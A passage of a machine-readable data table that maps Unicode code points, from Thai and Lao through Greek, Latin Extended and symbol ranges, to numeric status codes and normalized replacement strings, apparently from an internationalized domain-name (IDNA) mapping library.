2],[3341,3],[[3342,3344],2],[3345,3],[[3346,3368],2],[3369,2],[[3370,3385],2],[3386,2],[[3387,3388],2],[3389,2],[[3390,3395],2],[3396,2],[3397,3],[[3398,3400],2],[3401,3],[[3402,3405],2],[3406,2],[3407,2],[[3408,3411],3],[[3412,3414],2],[3415,2],[[3416,3422],2],[3423,2],[[3424,3425],2],[[3426,3427],2],[[3428,3429],3],[[3430,3439],2],[[3440,3445],2],[[3446,3448],2],[3449,2],[[3450,3455],2],[3456,3],[3457,2],[[3458,3459],2],[3460,3],[[3461,3478],2],[[3479,3481],3],[[3482,3505],2],[3506,3],[[3507,3515],2],[3516,3],[3517,2],[[3518,3519],3],[[3520,3526],2],[[3527,3529],3],[3530,2],[[3531,3534],3],[[3535,3540],2],[3541,3],[3542,2],[3543,3],[[3544,3551],2],[[3552,3557],3],[[3558,3567],2],[[3568,3569],3],[[3570,3571],2],[3572,2],[[3573,3584],3],[[3585,3634],2],[3635,1,"ํา"],[[3636,3642],2],[[3643,3646],3],[3647,2],[[3648,3662],2],[3663,2],[[3664,3673],2],[[3674,3675],2],[[3676,3712],3],[[3713,3714],2],[3715,3],[3716,2],[3717,3],[3718,2],[[3719,3720],2],[3721,2],[3722,2],[3723,3],[3724,2],[3725,2],[[3726,3731],2],[[3732,3735],2],[3736,2],[[3737,3743],2],[3744,2],[[3745,3747],2],[3748,3],[3749,2],[3750,3],[3751,2],[[3752,3753],2],[[3754,3755],2],[3756,2],[[3757,3762],2],[3763,1,"ໍາ"],[[3764,3769],2],[3770,2],[[3771,3773],2],[[3774,3775],3],[[3776,3780],2],[3781,3],[3782,2],[3783,3],[[3784,3789],2],[3790,2],[3791,3],[[3792,3801],2],[[3802,3803],3],[3804,1,"ຫນ"],[3805,1,"ຫມ"],[[3806,3807],2],[[3808,3839],3],[3840,2],[[3841,3850],2],[3851,2],[3852,1,"་"],[[3853,3863],2],[[3864,3865],2],[[3866,3871],2],[[3872,3881],2],[[3882,3892],2],[3893,2],[3894,2],[3895,2],[3896,2],[3897,2],[[3898,3901],2],[[3902,3906],2],[3907,1,"གྷ"],[[3908,3911],2],[3912,3],[[3913,3916],2],[3917,1,"ཌྷ"],[[3918,3921],2],[3922,1,"དྷ"],[[3923,3926],2],[3927,1,"བྷ"],[[3928,3931],2],[3932,1,"ཛྷ"],[[3933,3944],2],[3945,1,"ཀྵ"],[3946,2],[[3947,3948],2],[[3949,3952],3],[[3953,3954],2],[3955,1,"ཱི"],[3956,2],[3957,1,"ཱུ"],[3958,1,"ྲྀ"],[3959,1,"ྲཱྀ"],[3960,1,"ླྀ"],[3961,1,"ླཱྀ"],[[3962,3968],2],[3969,1,"ཱྀ"],[[3970,3972],2],[3973,2],[[3974,3979],2],[[3980,3983],2],[[3984,3986],2],[3987,1,"ྒྷ"],[[3988,3989],2],[3990,2],[3991,2],[3992,3],[[3993,3996],2],[3997,1,"ྜྷ"],[[3998,4001],2],[4002,1,"ྡྷ"],[[4003,4006],2],[4007,1,"ྦྷ"],[[4008,4011],2],[4012,1,"ྫྷ"],[4013,2],[[4014,4016],2],[[4017,4023],2],[4024,2],[4025,1,"ྐྵ"],[[4026,4028],2],[4029,3],[[4030,4037],2],[4038,2],[[4039,4044],2],[4045,3],[4046,2],[4047,2],[[4048,4049],2],[[4050,4052],2],[[4053,4056],2],[[4057,4058],2],[[4059,4095],3],[[4096,4129],2],[4130,2],[[4131,4135],2],[4136,2],[[4137,4138],2],[4139,2],[[4140,4146],2],[[4147,4149],2],[[4150,4153],2],[[4154,4159],2],[[4160,4169],2],[[4170,4175],2],[[4176,4185],2],[[4186,4249],2],[[4250,4253],2],[[4254,4255],2],[[4256,4293],3],[4294,3],[4295,1,"ⴧ"],[[4296,4300],3],[4301,1,"ⴭ"],[[4302,4303],3],[[4304,4342],2],[[4343,4344],2],[[4345,4346],2],[4347,2],[4348,1,"ნ"],[[4349,4351],2],[[4352,4441],2],[[4442,4446],2],[[4447,4448],3],[[4449,4514],2],[[4515,4519],2],[[4520,4601],2],[[4602,4607],2],[[4608,4614],2],[4615,2],[[4616,4678],2],[4679,2],[4680,2],[4681,3],[[4682,4685],2],[[4686,4687],3],[[4688,4694],2],[4695,3],[4696,2],[4697,3],[[4698,4701],2],[[4702,4703],3],[[4704,4742],2],[4743,2],[4744,2],[4745,3],[[4746,4749],2],[[4750,4751],3],[[4752,4782],2],[4783,2],[4784,2],[4785,3],[[4786,4789],2],[[4790,4791],3],[[4792,4798],2],[4799,3],[4800,2],[4801,3],[[4802,4805],2],[[4806,4807],3],[[4808,4814],2],[4815,2],[[4816,4822],2],[4823,3],[[4824,4846],2],[4847,2],[[4848,4878],2],[4879,2],[4880,2],[4881,3],[[4882,4885],2],[[4886,4887],3],[[4888,4894],2],[4895,2],[[4896,4934],2],[4935,2],[[4936,4954],2],[[4955,4956],3],[[4957,4958],2],[4959,2],[4960,2],[[4961,4988],2],[[4989,4991],3],[[4992,5007],2],[[5008,5017],2],[[5018,5023],3],[[5024,5108],2],[5109,2],[[5110,5111],3],[5112,1,"Ᏸ"],[5113,1,"Ᏹ"],[5114,1,"Ᏺ"],[5115,1,"Ᏻ"],[5116,1,"Ᏼ"],[5117,1,"Ᏽ"],[[5118,5119],3],[5120,2],[[5121,5740],2],[[5741,5742],2],[[5743,5750],2],[[5751,5759],2],[5760,3],[[5761,5786],2],[[5787,5788],2],[[5789,5791],3],[[5792,5866],2],[[5867,5872],2],[[5873,5880],2],[[5881,5887],3],[[5888,5900],2],[5901,2],[[5902,5908],2],[5909,2],[[5910,5918],3],[5919,2],[[5920,5940],2],[[5941,5942],2],[[5943,5951],3],[[5952,5971],2],[[5972,5983],3],[[5984,5996],2],[5997,3],[[5998,6000],2],[6001,3],[[6002,6003],2],[[6004,6015],3],[[6016,6067],2],[[6068,6069],3],[[6070,6099],2],[[6100,6102],2],[6103,2],[[6104,6107],2],[6108,2],[6109,2],[[6110,6111],3],[[6112,6121],2],[[6122,6127],3],[[6128,6137],2],[[6138,6143],3],[[6144,6149],2],[6150,3],[[6151,6154],2],[[6155,6157],7],[6158,3],[6159,7],[[6160,6169],2],[[6170,6175],3],[[6176,6263],2],[6264,2],[[6265,6271],3],[[6272,6313],2],[6314,2],[[6315,6319],3],[[6320,6389],2],[[6390,6399],3],[[6400,6428],2],[[6429,6430],2],[6431,3],[[6432,6443],2],[[6444,6447],3],[[6448,6459],2],[[6460,6463],3],[6464,2],[[6465,6467],3],[[6468,6469],2],[[6470,6509],2],[[6510,6511],3],[[6512,6516],2],[[6517,6527],3],[[6528,6569],2],[[6570,6571],2],[[6572,6575],3],[[6576,6601],2],[[6602,6607],3],[[6608,6617],2],[6618,2],[[6619,6621],3],[[6622,6623],2],[[6624,6655],2],[[6656,6683],2],[[6684,6685],3],[[6686,6687],2],[[6688,6750],2],[6751,3],[[6752,6780],2],[[6781,6782],3],[[6783,6793],2],[[6794,6799],3],[[6800,6809],2],[[6810,6815],3],[[6816,6822],2],[6823,2],[[6824,6829],2],[[6830,6831],3],[[6832,6845],2],[6846,2],[[6847,6848],2],[[6849,6862],2],[[6863,6911],3],[[6912,6987],2],[6988,2],[[6989,6991],3],[[6992,7001],2],[[7002,7018],2],[[7019,7027],2],[[7028,7036],2],[[7037,7038],2],[7039,3],[[7040,7082],2],[[7083,7085],2],[[7086,7097],2],[[7098,7103],2],[[7104,7155],2],[[7156,7163],3],[[7164,7167],2],[[7168,7223],2],[[7224,7226],3],[[7227,7231],2],[[7232,7241],2],[[7242,7244],3],[[7245,7293],2],[[7294,7295],2],[7296,1,"в"],[7297,1,"д"],[7298,1,"о"],[7299,1,"с"],[[7300,7301],1,"т"],[7302,1,"ъ"],[7303,1,"ѣ"],[7304,1,"ꙋ"],[[7305,7311],3],[7312,1,"ა"],[7313,1,"ბ"],[7314,1,"გ"],[7315,1,"დ"],[7316,1,"ე"],[7317,1,"ვ"],[7318,1,"ზ"],[7319,1,"თ"],[7320,1,"ი"],[7321,1,"კ"],[7322,1,"ლ"],[7323,1,"მ"],[7324,1,"ნ"],[7325,1,"ო"],[7326,1,"პ"],[7327,1,"ჟ"],[7328,1,"რ"],[7329,1,"ს"],[7330,1,"ტ"],[7331,1,"უ"],[7332,1,"ფ"],[7333,1,"ქ"],[7334,1,"ღ"],[7335,1,"ყ"],[7336,1,"შ"],[7337,1,"ჩ"],[7338,1,"ც"],[7339,1,"ძ"],[7340,1,"წ"],[7341,1,"ჭ"],[7342,1,"ხ"],[7343,1,"ჯ"],[7344,1,"ჰ"],[7345,1,"ჱ"],[7346,1,"ჲ"],[7347,1,"ჳ"],[7348,1,"ჴ"],[7349,1,"ჵ"],[7350,1,"ჶ"],[7351,1,"ჷ"],[7352,1,"ჸ"],[7353,1,"ჹ"],[7354,1,"ჺ"],[[7355,7356],3],[7357,1,"ჽ"],[7358,1,"ჾ"],[7359,1,"ჿ"],[[7360,7367],2],[[7368,7375],3],[[7376,7378],2],[7379,2],[[7380,7410],2],[[7411,7414],2],[7415,2],[[7416,7417],2],[7418,2],[[7419,7423],3],[[7424,7467],2],[7468,1,"a"],[7469,1,"æ"],[7470,1,"b"],[7471,2],[7472,1,"d"],[7473,1,"e"],[7474,1,"ǝ"],[7475,1,"g"],[7476,1,"h"],[7477,1,"i"],[7478,1,"j"],[7479,1,"k"],[7480,1,"l"],[7481,1,"m"],[7482,1,"n"],[7483,2],[7484,1,"o"],[7485,1,"ȣ"],[7486,1,"p"],[7487,1,"r"],[7488,1,"t"],[7489,1,"u"],[7490,1,"w"],[7491,1,"a"],[7492,1,"ɐ"],[7493,1,"ɑ"],[7494,1,"ᴂ"],[7495,1,"b"],[7496,1,"d"],[7497,1,"e"],[7498,1,"ə"],[7499,1,"ɛ"],[7500,1,"ɜ"],[7501,1,"g"],[7502,2],[7503,1,"k"],[7504,1,"m"],[7505,1,"ŋ"],[7506,1,"o"],[7507,1,"ɔ"],[7508,1,"ᴖ"],[7509,1,"ᴗ"],[7510,1,"p"],[7511,1,"t"],[7512,1,"u"],[7513,1,"ᴝ"],[7514,1,"ɯ"],[7515,1,"v"],[7516,1,"ᴥ"],[7517,1,"β"],[7518,1,"γ"],[7519,1,"δ"],[7520,1,"φ"],[7521,1,"χ"],[7522,1,"i"],[7523,1,"r"],[7524,1,"u"],[7525,1,"v"],[7526,1,"β"],[7527,1,"γ"],[7528,1,"ρ"],[7529,1,"φ"],[7530,1,"χ"],[7531,2],[[7532,7543],2],[7544,1,"н"],[[7545,7578],2],[7579,1,"ɒ"],[7580,1,"c"],[7581,1,"ɕ"],[7582,1,"ð"],[7583,1,"ɜ"],[7584,1,"f"],[7585,1,"ɟ"],[7586,1,"ɡ"],[7587,1,"ɥ"],[7588,1,"ɨ"],[7589,1,"ɩ"],[7590,1,"ɪ"],[7591,1,"ᵻ"],[7592,1,"ʝ"],[7593,1,"ɭ"],[7594,1,"ᶅ"],[7595,1,"ʟ"],[7596,1,"ɱ"],[7597,1,"ɰ"],[7598,1,"ɲ"],[7599,1,"ɳ"],[7600,1,"ɴ"],[7601,1,"ɵ"],[7602,1,"ɸ"],[7603,1,"ʂ"],[7604,1,"ʃ"],[7605,1,"ƫ"],[7606,1,"ʉ"],[7607,1,"ʊ"],[7608,1,"ᴜ"],[7609,1,"ʋ"],[7610,1,"ʌ"],[7611,1,"z"],[7612,1,"ʐ"],[7613,1,"ʑ"],[7614,1,"ʒ"],[7615,1,"θ"],[[7616,7619],2],[[7620,7626],2],[[7627,7654],2],[[7655,7669],2],[[7670,7673],2],[7674,2],[7675,2],[7676,2],[7677,2],[[7678,7679],2],[7680,1,"ḁ"],[7681,2],[7682,1,"ḃ"],[7683,2],[7684,1,"ḅ"],[7685,2],[7686,1,"ḇ"],[7687,2],[7688,1,"ḉ"],[7689,2],[7690,1,"ḋ"],[7691,2],[7692,1,"ḍ"],[7693,2],[7694,1,"ḏ"],[7695,2],[7696,1,"ḑ"],[7697,2],[7698,1,"ḓ"],[7699,2],[7700,1,"ḕ"],[7701,2],[7702,1,"ḗ"],[7703,2],[7704,1,"ḙ"],[7705,2],[7706,1,"ḛ"],[7707,2],[7708,1,"ḝ"],[7709,2],[7710,1,"ḟ"],[7711,2],[7712,1,"ḡ"],[7713,2],[7714,1,"ḣ"],[7715,2],[7716,1,"ḥ"],[7717,2],[7718,1,"ḧ"],[7719,2],[7720,1,"ḩ"],[7721,2],[7722,1,"ḫ"],[7723,2],[7724,1,"ḭ"],[7725,2],[7726,1,"ḯ"],[7727,2],[7728,1,"ḱ"],[7729,2],[7730,1,"ḳ"],[7731,2],[7732,1,"ḵ"],[7733,2],[7734,1,"ḷ"],[7735,2],[7736,1,"ḹ"],[7737,2],[7738,1,"ḻ"],[7739,2],[7740,1,"ḽ"],[7741,2],[7742,1,"ḿ"],[7743,2],[7744,1,"ṁ"],[7745,2],[7746,1,"ṃ"],[7747,2],[7748,1,"ṅ"],[7749,2],[7750,1,"ṇ"],[7751,2],[7752,1,"ṉ"],[7753,2],[7754,1,"ṋ"],[7755,2],[7756,1,"ṍ"],[7757,2],[7758,1,"ṏ"],[7759,2],[7760,1,"ṑ"],[7761,2],[7762,1,"ṓ"],[7763,2],[7764,1,"ṕ"],[7765,2],[7766,1,"ṗ"],[7767,2],[7768,1,"ṙ"],[7769,2],[7770,1,"ṛ"],[7771,2],[7772,1,"ṝ"],[7773,2],[7774,1,"ṟ"],[7775,2],[7776,1,"ṡ"],[7777,2],[7778,1,"ṣ"],[7779,2],[7780,1,"ṥ"],[7781,2],[7782,1,"ṧ"],[7783,2],[7784,1,"ṩ"],[7785,2],[7786,1,"ṫ"],[7787,2],[7788,1,"ṭ"],[7789,2],[7790,1,"ṯ"],[7791,2],[7792,1,"ṱ"],[7793,2],[7794,1,"ṳ"],[7795,2],[7796,1,"ṵ"],[7797,2],[7798,1,"ṷ"],[7799,2],[7800,1,"ṹ"],[7801,2],[7802,1,"ṻ"],[7803,2],[7804,1,"ṽ"],[7805,2],[7806,1,"ṿ"],[7807,2],[7808,1,"ẁ"],[7809,2],[7810,1,"ẃ"],[7811,2],[7812,1,"ẅ"],[7813,2],[7814,1,"ẇ"],[7815,2],[7816,1,"ẉ"],[7817,2],[7818,1,"ẋ"],[7819,2],[7820,1,"ẍ"],[7821,2],[7822,1,"ẏ"],[7823,2],[7824,1,"ẑ"],[7825,2],[7826,1,"ẓ"],[7827,2],[7828,1,"ẕ"],[[7829,7833],2],[7834,1,"aʾ"],[7835,1,"ṡ"],[[7836,7837],2],[7838,1,"ss"],[7839,2],[7840,1,"ạ"],[7841,2],[7842,1,"ả"],[7843,2],[7844,1,"ấ"],[7845,2],[7846,1,"ầ"],[7847,2],[7848,1,"ẩ"],[7849,2],[7850,1,"ẫ"],[7851,2],[7852,1,"ậ"],[7853,2],[7854,1,"ắ"],[7855,2],[7856,1,"ằ"],[7857,2],[7858,1,"ẳ"],[7859,2],[7860,1,"ẵ"],[7861,2],[7862,1,"ặ"],[7863,2],[7864,1,"ẹ"],[7865,2],[7866,1,"ẻ"],[7867,2],[7868,1,"ẽ"],[7869,2],[7870,1,"ế"],[7871,2],[7872,1,"ề"],[7873,2],[7874,1,"ể"],[7875,2],[7876,1,"ễ"],[7877,2],[7878,1,"ệ"],[7879,2],[7880,1,"ỉ"],[7881,2],[7882,1,"ị"],[7883,2],[7884,1,"ọ"],[7885,2],[7886,1,"ỏ"],[7887,2],[7888,1,"ố"],[7889,2],[7890,1,"ồ"],[7891,2],[7892,1,"ổ"],[7893,2],[7894,1,"ỗ"],[7895,2],[7896,1,"ộ"],[7897,2],[7898,1,"ớ"],[7899,2],[7900,1,"ờ"],[7901,2],[7902,1,"ở"],[7903,2],[7904,1,"ỡ"],[7905,2],[7906,1,"ợ"],[7907,2],[7908,1,"ụ"],[7909,2],[7910,1,"ủ"],[7911,2],[7912,1,"ứ"],[7913,2],[7914,1,"ừ"],[7915,2],[7916,1,"ử"],[7917,2],[7918,1,"ữ"],[7919,2],[7920,1,"ự"],[7921,2],[7922,1,"ỳ"],[7923,2],[7924,1,"ỵ"],[7925,2],[7926,1,"ỷ"],[7927,2],[7928,1,"ỹ"],[7929,2],[7930,1,"ỻ"],[7931,2],[7932,1,"ỽ"],[7933,2],[7934,1,"ỿ"],[7935,2],[[7936,7943],2],[7944,1,"ἀ"],[7945,1,"ἁ"],[7946,1,"ἂ"],[7947,1,"ἃ"],[7948,1,"ἄ"],[7949,1,"ἅ"],[7950,1,"ἆ"],[7951,1,"ἇ"],[[7952,7957],2],[[7958,7959],3],[7960,1,"ἐ"],[7961,1,"ἑ"],[7962,1,"ἒ"],[7963,1,"ἓ"],[7964,1,"ἔ"],[7965,1,"ἕ"],[[7966,7967],3],[[7968,7975],2],[7976,1,"ἠ"],[7977,1,"ἡ"],[7978,1,"ἢ"],[7979,1,"ἣ"],[7980,1,"ἤ"],[7981,1,"ἥ"],[7982,1,"ἦ"],[7983,1,"ἧ"],[[7984,7991],2],[7992,1,"ἰ"],[7993,1,"ἱ"],[7994,1,"ἲ"],[7995,1,"ἳ"],[7996,1,"ἴ"],[7997,1,"ἵ"],[7998,1,"ἶ"],[7999,1,"ἷ"],[[8000,8005],2],[[8006,8007],3],[8008,1,"ὀ"],[8009,1,"ὁ"],[8010,1,"ὂ"],[8011,1,"ὃ"],[8012,1,"ὄ"],[8013,1,"ὅ"],[[8014,8015],3],[[8016,8023],2],[8024,3],[8025,1,"ὑ"],[8026,3],[8027,1,"ὓ"],[8028,3],[8029,1,"ὕ"],[8030,3],[8031,1,"ὗ"],[[8032,8039],2],[8040,1,"ὠ"],[8041,1,"ὡ"],[8042,1,"ὢ"],[8043,1,"ὣ"],[8044,1,"ὤ"],[8045,1,"ὥ"],[8046,1,"ὦ"],[8047,1,"ὧ"],[8048,2],[8049,1,"ά"],[8050,2],[8051,1,"έ"],[8052,2],[8053,1,"ή"],[8054,2],[8055,1,"ί"],[8056,2],[8057,1,"ό"],[8058,2],[8059,1,"ύ"],[8060,2],[8061,1,"ώ"],[[8062,8063],3],[8064,1,"ἀι"],[8065,1,"ἁι"],[8066,1,"ἂι"],[8067,1,"ἃι"],[8068,1,"ἄι"],[8069,1,"ἅι"],[8070,1,"ἆι"],[8071,1,"ἇι"],[8072,1,"ἀι"],[8073,1,"ἁι"],[8074,1,"ἂι"],[8075,1,"ἃι"],[8076,1,"ἄι"],[8077,1,"ἅι"],[8078,1,"ἆι"],[8079,1,"ἇι"],[8080,1,"ἠι"],[8081,1,"ἡι"],[8082,1,"ἢι"],[8083,1,"ἣι"],[8084,1,"ἤι"],[8085,1,"ἥι"],[8086,1,"ἦι"],[8087,1,"ἧι"],[8088,1,"ἠι"],[8089,1,"ἡι"],[8090,1,"ἢι"],[8091,1,"ἣι"],[8092,1,"ἤι"],[8093,1,"ἥι"],[8094,1,"ἦι"],[8095,1,"ἧι"],[8096,1,"ὠι"],[8097,1,"ὡι"],[8098,1,"ὢι"],[8099,1,"ὣι"],[8100,1,"ὤι"],[8101,1,"ὥι"],[8102,1,"ὦι"],[8103,1,"ὧι"],[8104,1,"ὠι"],[8105,1,"ὡι"],[8106,1,"ὢι"],[8107,1,"ὣι"],[8108,1,"ὤι"],[8109,1,"ὥι"],[8110,1,"ὦι"],[8111,1,"ὧι"],[[8112,8113],2],[8114,1,"ὰι"],[8115,1,"αι"],[8116,1,"άι"],[8117,3],[8118,2],[8119,1,"ᾶι"],[8120,1,"ᾰ"],[8121,1,"ᾱ"],[8122,1,"ὰ"],[8123,1,"ά"],[8124,1,"αι"],[8125,5," ̓"],[8126,1,"ι"],[8127,5," ̓"],[8128,5," ͂"],[8129,5," ̈͂"],[8130,1,"ὴι"],[8131,1,"ηι"],[8132,1,"ήι"],[8133,3],[8134,2],[8135,1,"ῆι"],[8136,1,"ὲ"],[8137,1,"έ"],[8138,1,"ὴ"],[8139,1,"ή"],[8140,1,"ηι"],[8141,5," ̓̀"],[8142,5," ̓́"],[8143,5," ̓͂"],[[8144,8146],2],[8147,1,"ΐ"],[[8148,8149],3],[[8150,8151],2],[8152,1,"ῐ"],[8153,1,"ῑ"],[8154,1,"ὶ"],[8155,1,"ί"],[8156,3],[8157,5," ̔̀"],[8158,5," ̔́"],[8159,5," ̔͂"],[[8160,8162],2],[8163,1,"ΰ"],[[8164,8167],2],[8168,1,"ῠ"],[8169,1,"ῡ"],[8170,1,"ὺ"],[8171,1,"ύ"],[8172,1,"ῥ"],[8173,5," ̈̀"],[8174,5," ̈́"],[8175,5,"`"],[[8176,8177],3],[8178,1,"ὼι"],[8179,1,"ωι"],[8180,1,"ώι"],[8181,3],[8182,2],[8183,1,"ῶι"],[8184,1,"ὸ"],[8185,1,"ό"],[8186,1,"ὼ"],[8187,1,"ώ"],[8188,1,"ωι"],[8189,5," ́"],[8190,5," ̔"],[8191,3],[[8192,8202],5," "],[8203,7],[[8204,8205],6,""],[[8206,8207],3],[8208,2],[8209,1,"‐"],[[8210,8214],2],[8215,5," ̳"],[[8216,8227],2],[[8228,8230],3],[8231,2],[[8232,8238],3],[8239,5," "],[[8240,8242],2],[8243,1,"′′"],[8244,1,"′′′"],[8245,2],[8246,1,"‵‵"],[8247,1,"‵‵‵"],[[8248,8251],2],[8252,5,"!!"],[8253,2],[8254,5," ̅"],[[8255,8262],2],[8263,5,"??"],[8264,5,"?!"],[8265,5,"!?"],[[8266,8269],2],[[8270,8274],2],[[8275,8276],2],[[8277,8278],2],[8279,1,"′′′′"],[[8280,8286],2],[8287,5," "],[8288,7],[[8289,8291],3],[8292,7],[8293,3],[[8294,8297],3],[[8298,8303],3],[8304,1,"0"],[8305,1,"i"],[[8306,8307],3],[8308,1,"4"],[8309,1,"5"],[8310,1,"6"],[8311,1,"7"],[8312,1,"8"],[8313,1,"9"],[8314,5,"+"],[8315,1,"−"],[8316,5,"="],[8317,5,"("],[8318,5,")"],[8319,1,"n"],[8320,1,"0"],[8321,1,"1"],[8322,1,"2"],[8323,1,"3"],[8324,1,"4"],[8325,1,"5"],[8326,1,"6"],[8327,1,"7"],[8328,1,"8"],[8329,1,"9"],[8330,5,"+"],[8331,1,"−"],[8332,5,"="],[8333,5,"("],[8334,5,")"],[8335,3],[8336,1,"a"],[8337,1,"e"],[8338,1,"o"],[8339,1,"x"],[8340,1,"ə"],[8341,1,"h"],[8342,1,"k"],[8343,1,"l"],[8344,1,"m"],[8345,1,"n"],[8346,1,"p"],[8347,1,"s"],[8348,1,"t"],[[8349,8351],3],[[8352,8359],2],[8360,1,"rs"],[[8361,8362],2],[8363,2],[8364,2],[[8365,8367],2],[[8368,8369],2],[[8370,8373],2],[[8374,8376],2],[8377,2],[8378,2],[[8379,8381],2],[8382,2],[8383,2],[8384,2],[[8385,8399],3],[[8400,8417],2],[[8418,8419],2],[[8420,8426],2],[8427,2],[[8428,8431],2],[8432,2],[[8433,8447],3],[8448,5,"a/c"],[8449,5,"a/s"],[8450,1,"c"],[8451,1,"°c"],[8452,2],[8453,5,"c/o"],[8454,5,"c/u"],[8455,1,"ɛ"],[8456,2],[8457,1,"°f"],[8458,1,"g"],[[8459,8462],1,"h"],[8463,1,"ħ"],[[8464,8465],1,"i"],[[8466,8467],1,"l"],[8468,2],[8469,1,"n"],[8470,1,"no"],[[8471,8472],2],[8473,1,"p"],[8474,1,"q"],[[8475,8477],1,"r"],[[8478,8479],2],[8480,1,"sm"],[8481,1,"tel"],[8482,1,"tm"],[8483,2],[8484,1,"z"],[8485,2],[8486,1,"ω"],[8487,2],[8488,1,"z"],[8489,2],[8490,1,"k"],[8491,1,"å"],[8492,1,"b"],[8493,1,"c"],[8494,2],[[8495,8496],1,"e"],[8497,1,"f"],[8498,3],[8499,1,"m"],[8500,1,"o"],[8501,1,"א"],[8502,1,"ב"],[8503,1,"ג"],[8504,1,"ד"],[8505,1,"i"],[8506,2],[8507,1,"fax"],[8508,1,"π"],[[8509,8510],1,"γ"],[8511,1,"π"],[8512,1,"∑"],[[8513,8516],2],[[8517,8518],1,"d"],[8519,1,"e"],[8520,1,"i"],[8521,1,"j"],[[8522,8523],2],[8524,2],[8525,2],[8526,2],[8527,2],[8528,1,"1⁄7"],[8529,1,"1⁄9"],[8530,1,"1⁄10"],[8531,1,"1⁄3"],[8532,1,"2⁄3"],[8533,1,"1⁄5"],[8534,1,"2⁄5"],[8535,1,"3⁄5"],[8536,1,"4⁄5"],[8537,1,"1⁄6"],[8538,1,"5⁄6"],[8539,1,"1⁄8"],[8540,1,"3⁄8"],[8541,1,"5⁄8"],[8542,1,"7⁄8"],[8543,1,"1⁄"],[8544,1,"i"],[8545,1,"ii"],[8546,1,"iii"],[8547,1,"iv"],[8548,1,"v"],[8549,1,"vi"],[8550,1,"vii"],[8551,1,"viii"],[8552,1,"ix"],[8553,1,"x"],[8554,1,"xi"],[8555,1,"xii"],[8556,1,"l"],[8557,1,"c"],[8558,1,"d"],[8559,1,"m"],[8560,1,"i"],[8561,1,"ii"],[8562,1,"iii"],[8563,1,"iv"],[8564,1,"v"],[8565,1,"vi"],[8566,1,"vii"],[8567,1,"viii"],[8568,1,"ix"],[8569,1,"x"],[8570,1,"xi"],[8571,1,"xii"],[8572,1,"l"],[8573,1,"c"],[8574,1,"d"],[8575,1,"m"],[[8576,8578],2],[8579,3],[8580,2],[[8581,8584],2],[8585,1,"0⁄3"],[[8586,8587],2],[[8588,8591],3],[[8592,8682],2],[[8683,8691],2],[[8692,8703],2],[[8704,8747],2],[8748,1,"∫∫"],[8749,1,"∫∫∫"],[8750,2],[8751,1,"∮∮"],[8752,1,"∮∮∮"],[[8753,8799],2],[8800,4],[[8801,8813],2],[[8814,8815],4],[[8816,8945],2],[[8946,8959],2],[8960,2],[8961,2],[[8962,9000],2],[9001,1,"〈"],[9002,1,"〉"],[[9003,9082],2],[9083,2],[9084,2],[[9085,9114],2],[[9115,9166],2],[[9167,9168],2],[[9169,9179],2],[[9180,9191],2],[9192,2],[[9193,9203],2],[[9204,9210],2],[[9211,9214],2],[9215,2],[[9216,9252],2],[[9253,9254],2],[[9255,9279],3],[[9280,9290],2],[[9291,9311],3],[9312,1,"1"],[9313,1,"2"],[9314,1,"3"],[9315,1,"4"],[9316,1,"5"],[9317,1,"6"],[9318,1,"7"],[9319,1,"8"],[9320,1,"9"],[9321,1,"10"],[9322,1,"11"],[9323,1,"12"],[9324,1,"13"],[9325,1,"14"],[9326,1,"15"],[9327,1,"16"],[9328,1,"17"],[9329,1,"18"],[9330,1,"19"],[9331,1,"20"],[9332,5,"(1)"],[9333,5,"(2)"],[9334,5,"(3)"],[9335,5,"(4)"],[9336,5,"(5)"],[9337,5,"(6)"],[9338,5,"(7)"],[9339,5,"(8)"],[9340,5,"(9)"],[9341,5,"(10)"],[9342,5,"(11)"],[9343,5,"(12)"],[9344,5,"(13)"],[9345,5,"(14)"],[9346,5,"(15)"],[9347,5,"(16)"],[9348,5,"(17)"],[9349,5,"(18)"],[9350,5,"(19)"],[9351,5,"(20)"],[[9352,9371],3],[9372,5,"(a)"],[9373,5,"(b)"],[9374,5,"(c)"],[9375,5,"(d)"],[9376,5,"(e)"],[9377,5,"(f)"],[9378,5,"(g)"],[9379,5,"(h)"],[9380,5,"(i)"],[9381,5,"(j)"],[9382,5,"(k)"],[9383,5,"(l)"],[9384,5,"(m)"],[9385,5,"(n)"],[9386,5,"(o)"],[9387,5,"(p)"],[9388,5,"(q)"],[9389,5,"(r)"],[9390,5,"(s)"],[9391,5,"(t)"],[9392,5,"(u)"],[9393,5,"(v)"],[9394,5,"(w)"],[9395,5,"(x)"],[9396,5,"(y)"],[9397,5,"(z)"],[9398,1,"a"],[9399,1,"b"],[9400,1,"c"],[9401,1,"d"],[9402,1,"e"],[9403,1,"f"],[9404,1,"g"],[9405,1,"h"],[9406,1,"i"],[9407,1,"j"],[9408,1,"k"],[9409,1,"l"],[9410,1,"m"],[9411,1,"n"],[9412,1,"o"],[9413,1,"p"],[9414,1,"q"],[9415,1,"r"],[9416,1,"s"],[9417,1,"t"],[9418,1,"u"],[9419,1,"v"],[9420,1,"w"],[9421,1,"x"],[9422,1,"y"],[9423,1,"z"],[9424,1,"a"],[9425,1,"b"],[9426,1,"c"],[9427,1,"d"],[9428,1,"e"],[9429,1,"f"],[9430,1,"g"],[9431,1,"h"],[9432,1,"i"],[9433,1,"j"],[9434,1,"k"],[9435,1,"l"],[9436,1,"m"],[9437,1,"n"],[9438,1,"o"],[9439,1,"p"],[9440,1,"q"],[9441,1,"r"],[9442,1,"s"],[9443,1,"t"],[9444,1,"u"],[9445,1,"v"],[9446,1,"w"],[9447,1,"x"],[9448,1,"y"],[9449,1,"z"],[9450,1,"0"],[[9451,9470],2],[9471,2],[[9472,9621],2],[[9622,9631],2],[[9632,9711],2],[[9712,9719],2],[[9720,9727],2],[[9728,9747],2],[[9748,9749],2],[[9750,9751],2],[9752,2],[9753,2],[[9754,9839],2],[[9840,9841],2],[[9842,9853],2],[[9854,9855],2],[[9856,9865],2],[[9866,9873],2],[[9874,9884],2],[9885,2],[[9886,9887],2],[[9888,9889],2],[[9890,9905],2],[9906,2],[[9907,9916],2],[[9917,9919],2],[[9920,9923],2],[[9924,9933],2],[9934,2],[[9935,9953],2],[9954,2],[9955,2],[[9956,9959],2],[[9960,9983],2],[9984,2],[[9985,9988],2],[9989,2],[[9990,9993],2],[[9994,9995],2],[[9996,10023],2],[10024,2],[[10025,10059],2],[10060,2],[10061,2],[10062,2],[[10063,10066],2],[[10067,10069],2],[10070,2],[10071,2],[[10072,10078],2],[[10079,10080],2],[[10081,10087],2],[[10088,10101],2],[[10102,10132],2],[[10133,10135],2],[[10136,10159],2],[10160,2],[[10161,10174],2],[10175,2],[[10176,10182],2],[[10183,10186],2],[10187,2],[10188,2],[10189,2],